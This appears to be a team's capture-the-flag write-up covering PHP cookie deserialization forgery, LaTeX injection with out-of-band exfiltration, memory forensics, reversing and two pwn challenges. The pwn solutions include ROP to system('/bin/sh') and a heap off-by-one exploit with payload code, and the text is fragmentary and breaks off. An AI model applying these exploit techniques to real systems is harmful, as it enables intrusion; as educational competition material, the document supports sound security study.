- You can login with any user and any password, but the admin user
- When you login a `login` cookie is set with a base64 encoded PHP object (e.g. `base64_encode('O:4:"User":3:{s:2:"id";i:2;s:8:"username";s:1:"'";s:5:"admin";b:0;}')`)
- By changing the PHP object to use the `admin` as `username` and the boolean property `admin` as `true` you become admin and get the flag
Flag: `ptm{Cl455_S3r14l1z4t10n_15_B34ut1ful}`
## Web 2
- You have a web portal which allows to write articles in `LaTeX`
-`LaTeX` in its syntax has some commands which allow `RCE`
- No filter were in place, so a simple copy/paste from [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/404afd1d719b59c2a7600b83b5ed4583f8c822e9/LaTeX%20Injection) did the trick
- Using an OOB channel was the best way for us to extract the `config.php` file which contained the `flag`
Flag: `ptm{L4t3x_1nj3ct10n_1s_c00l}`
## Fore
- In this chall you need to analyze the file dmp with volatility framework; from the chall page you can download two files: the first one is the dump, the second one the suggested profile.
- The profile need to be moved in the right path(/volatility/volatility/plugins/overlays/linux) before start volatility.
- In order to find the correct profile name you can use this command:
- After that, we have started to analyze dump; in this case the memory dump is made from a Linux system, and the command set from volatility to analyze Linux memory dump is a little bit restricted than Windows memory analysis command-set.
2302 bash 2019-06-21 22:01:40 UTC+0000 thunderbird "Please be careful with what you do.eml"
2302 bash 2019-06-21 22:02:42 UTC+0000 thunderbird "Re: Please be careful with what you do.eml"
2302 bash 2019-06-21 22:03:32 UTC+0000 thunderbird "Need the moneyz now.eml"
2302 bash 2019-06-21 22:04:30 UTC+0000 thunderbird "Re: Re: Please be careful with what you do.eml"
-- trim --
```
- Intresting, we can find 4 different .eml files opened with Thunderbird. In linux memory dump analysis, we need to find the correct inode value and send it to linux_find_file with -i and -O options to extract every single file.
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f060 -O "Please be careful with what you do.eml"
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f458 -O "Re: Please be careful with what you do.eml"
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9fc48 -O "Re: Re: Please be careful with what you do.eml"
```
- Three of those mails are simply text with nothing intresting, but "Need the moneyz now.eml" have an attached zip file.
- After unzip that, we have a lot of json files with strange names and a txt with an ethereum wallett address inside.
- Simply use a recursive grep with the string 'ptm{' (the flag format) to solve the chall.
Flag: `ptm{wh4t_1s_h3_d0ing_With_tH4t_dat4}`
## Rev 1
- An `ELF` was provided
- By running `strings` on it it can be discovered to be generated by `PyInstaller`
- Using `pyi-archive_viewer` it was possible to extract the `pyc` bytecode
- The `header` of the `pyc` was removed by `PyInstaller`, so it should be re-added and then it could be `decomPYled` with `uncompyle6`
- The decompiled python script does some math operations on big numbers (i.e. `print((chr(pow(small_number, very_big_number) % 1000)))`)
- By doing the `%` operation also before the `pow` one it was possible to speed-up the script and get the flag in seconds (i.e. `print((chr(pow((small_number % 1000), (very_big_number % 1000)) % 1000)))`)
Flag: `ptm{30058c5c3989ece35831e815e83e0505}`
## Misc 1
- The flag was hidden in a `div` with the `display:none` CSS property in the description of the challenge itself
Flag: `ptm{W3lc0m3_70_m0l3C0n_CTF!}`
## Misc 2
- Rules and definitions
- we are given n sequences of numbers, a set of rules to build a solution sequence from these and a definition of best solution
- we can pick only the numbers at the beginning of the sequences, once you pick an element that is removed from the input sequences and put into the solution sequence
- to compare two solutions we have to compute the value x-y where x and y are the first different elements of the sequences we are comparing
- if we provide the best solution we repeat the process with a new input
- Solution
- at each iteration we pick the minimum among the available elements at the beginning of the sequences we are provided with
- in case of conflicts (i.e. more than one minimum) we move to compare the second element of the candidate sequences (the one with the minimum at the beginning) and so on until we can establish which one to pick
- given the way the best solution is measured, this algorithm will be enough to find the best solution in a reasonable time
```python
def solve(ss):
sol = []
while True:
ss = list(filter(lambda s: len(s) > 0, ss))
if len(ss) == 0:
break
heads = {}
for i in range(len(ss)):
if ss[i][0] in heads.keys():
#print("CONFLICT!")
l1 = list(ss[i])
l2 = list(ss[heads[ss[i][0]]])
for j in range(min(len(l1), len(l2))):
try:
if l1[j] > l2[j]:
break
elif l1[j] <l2[j]:
heads[l1[0]] = i
break
except:
print("ANOTHER CONFLICT!")
exit(0)
else:
heads[ss[i][0]] = i
new = min(heads.keys())
sol.append(new)
ss[heads[new]].pop(0)
return sol
from pwnapi import *
log.level = 2
context.update(host="10.255.0.1", port=8005)
p = context.getremote()
p.recvuntil(b"Now it's your turn!\n\n")
while True:
ss = []
while True:
l = p.recvline()
s = list(map(lambda x: int(x), l.strip().split()))
- The idea here is to send multiple time the same message to be encrypted, generate the "sum" (like in the cout above) and then run the following SageMath script.
p = 9653752804826064052029859504357788343793666970085809058730805328470766932451241626459959462175810916447560141687115090556455161113988122849830800950814781
a = inverse_mod((inverse_mod(x1[0].denominator(), p) * x1[0].numerator()) % p, p)
b = inverse_mod((inverse_mod(x1[1].denominator(), p) * x1[1].numerator()) % p, p)
a = inverse_mod((inverse_mod(2 * a, p) * (flag[0] + flag[1])), p)
- We are given an ELF binary with no stack canaries protections and no PIC.
- The vulnerability lies in this function
```c
void __cdecl sub_400BED()
{
__int64 v0; // [rsp+20h] [rbp-20h]
__int64 v1; // [rsp+28h] [rbp-18h]
__int64 v2; // [rsp+30h] [rbp-10h]
__int64 v3; // [rsp+38h] [rbp-8h]
__int64 vars0; // [rsp+40h] [rbp+0h]
__int64 retaddr; // [rsp+48h] [rbp+8h]
sub_400A68(&v0);
sub_400ABF(&v0);
puts("Now give me your block data: ");
HIDWORD(v3) = read(0, &qword_6020E0, 0x80uLL);
if ( !(unsigned int)sub_400B14((__int64)&qword_6020E0, SHIDWORD(v3), (__int64)&v0) )
{
puts("Go mine somewhere else!!\n");
exit(1);
}
v0 = qword_602100;
v1 = qword_602108;
v2 = qword_602110;
v3 = qword_602118;
vars0 = qword_602120;
retaddr = qword_602128; // WE CONTROL THE RETURN POINTER
puts("Block successfully mined. Bye!\n");
}
```
- To reach the ret instruction we need to pass a check
```c
signed __int64 __fastcall sub_400B14(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v4; // [rsp+8h] [rbp-98h]
char v5[16]; // [rsp+20h] [rbp-80h]
char v6; // [rsp+30h] [rbp-70h]
int j; // [rsp+98h] [rbp-8h]
int i; // [rsp+9Ch] [rbp-4h]
v4 = a3;
MD5_Init(&v6);
MD5_Update(&v6, a1, a2);
MD5_Final(v5, &v6);
for ( i = 0; i <= 15; ++i )
printf("%02x", (unsigned __int8)v5[i]);
putchar(10);
for ( j = 0; j <= 1; ++j )
{
if ( *(_BYTE *)(j + v4) != v5[j] )
return 0LL;
}
return 1LL;
}
```
- Since only the first two bytes of the hash are checked we can try to bruteforce it
- We're gonna trigger the vulnerability a first time to execute a short ropchain which will leak an address from the GOT to compute the libc_base and then ret2vuln
- Now we know the addresses of functions and strings from libc in memory
- We're gonna trigger the vulnerability a second time to hijack the execution to `system("/bin/sh")`
The interface allows to create a new block, edit/retrieve the associated transaction name, delete the block and modify the associated hash. Each allocated block is 248 bytes in size, dynamically allocated through malloc(), of which:
- 224 contain the data we send, if we successfully pass the hash check above
- 8 contain a pointer to the transaction name
- 16 contain the hash itself
The interface above gives us four useful primitives:
P.1) Allocate an arbitrary number of fixed size buffers (248 bytes) and fill the first 224 bytes with arbitrary content
P.2) Dereference (Read/Write primitive) a pointer located 24 bytes from the end of the buffer
P.3) Modify the last 16 bytes of a buffer after it has been allocated
P.4) Free on demand the allocated buffers
On top of this, the [DEBUG] messages that the application prints leak each allocated buffer address:
Proof your value! -> d5abc3bc1ca8459d8ffef9c968b7308e
[DEBUG] block is at 0x1221010
Just like in PWN 1, in order to add (mine) a new block, one needs to send a buffer that matches the randomly generated MD5 sum. In this case, though, only one byte is compared:
```c
for ( j = 0; j <= 0; ++j )
{
if ( *(_BYTE *)(j + v4) != v8[j] )
return 0LL;
}
```
The vulnerability lies in the "Edit hash" functionality and is a classic off-by-one NULL byte overflow:
```c
read(0, (void *)(table[v0] + 232LL), 0x10uLL);
result = table[v0];
*(_BYTE *)(result + 248) = 0;
```
Since the allocated buffers are 0x100 (256) bytes in size, the NULL byte overflow allows to change the 'size' field of an adjacent allocated chunk, moving it from the allocated state (0x101 - 0x1 Present flag) to the free state (0x100).
P.4 allows to control the last 16 bytes of a buffer, which translates into controlling the prev_size field of a (fake in our case) free buffer.
Through the control of the Present flag + the prev_size field and since we control the contents of the buffers that we load, it is possible to completely create a fake chunk and desynchronize the heap. Once the heap is desynchronized, we can force the allocation of new buffers that overlap with existing ones and allow control of the R/W primitive through P.2. P.2 is used both to infoleak the base address of libc and to overwrite the contents of `__free_hook` with a onegadget from the provided libc.so, therefore leading to arbitrary code execution.
1) Create enough dummy buffers until the allocator starts returning consecutive allocations
(in the specific case here, no dummy buffers are needed, but we still allocate one to use at the end)
2) Allocate three consecutive buffers that we'll call B1, B2, B3. B3 is the victim buffer, B2 is the attacking buffer (that we'll use to overflow into the size portion of B3) and B1 will contain most of the necessary data to fake the free object.
3) Allocate an extra buffer, B4, to get the bottom chunk out of the way.
4) Once B1 and B2 addresses are known, free B1 and re-allocate it, this time with the proper payload. From the exploit:
```python
payload = "A"*96
payload += p64(0)
payload += p64(int(buf2_addr, 16) - 80) * 2
payload += p64(0x4141414141414141) * 8
payload += p64(0x140 | 0x1)
payload += p64(int(buf1_addr, 16) + 88) * 2
```
The above payload provides fake FD and BK (self referencing higher up to pass glibc integrity checks) and mirrors the selected fake size (0x140), while stating that the previous buffer is Present (0x1 flag), once again to pass glibc safety checks.
Through P.3 the fake size (0x140) is written to 'prev_size' for B2, which also triggers the overflow:
```python
io.sendline("5")
eat_menu(io)
io.sendline("2")
payload = p64(0x4444444444444444)
payload += p64(0x140)
```
At this point, all the necessary fake structures are in place.
5) Trigger the buffer coalesce by freeing B3
6) Allocate a new buffer B5. This time, because the heap is desynced, we get a misaligned address and B5 contents overlap with some of B1. In particular, at B5 + 32 there is the Transaction Name pointer for B1.
7) Use the payload of B5 to overwrite B1 Transaction Name pointer and point it to the binary GOT entry of a libc function. In the exploit, 'puts' is selected.
8) Use P.2 through B1 to read the address in the GOT and extract the libc base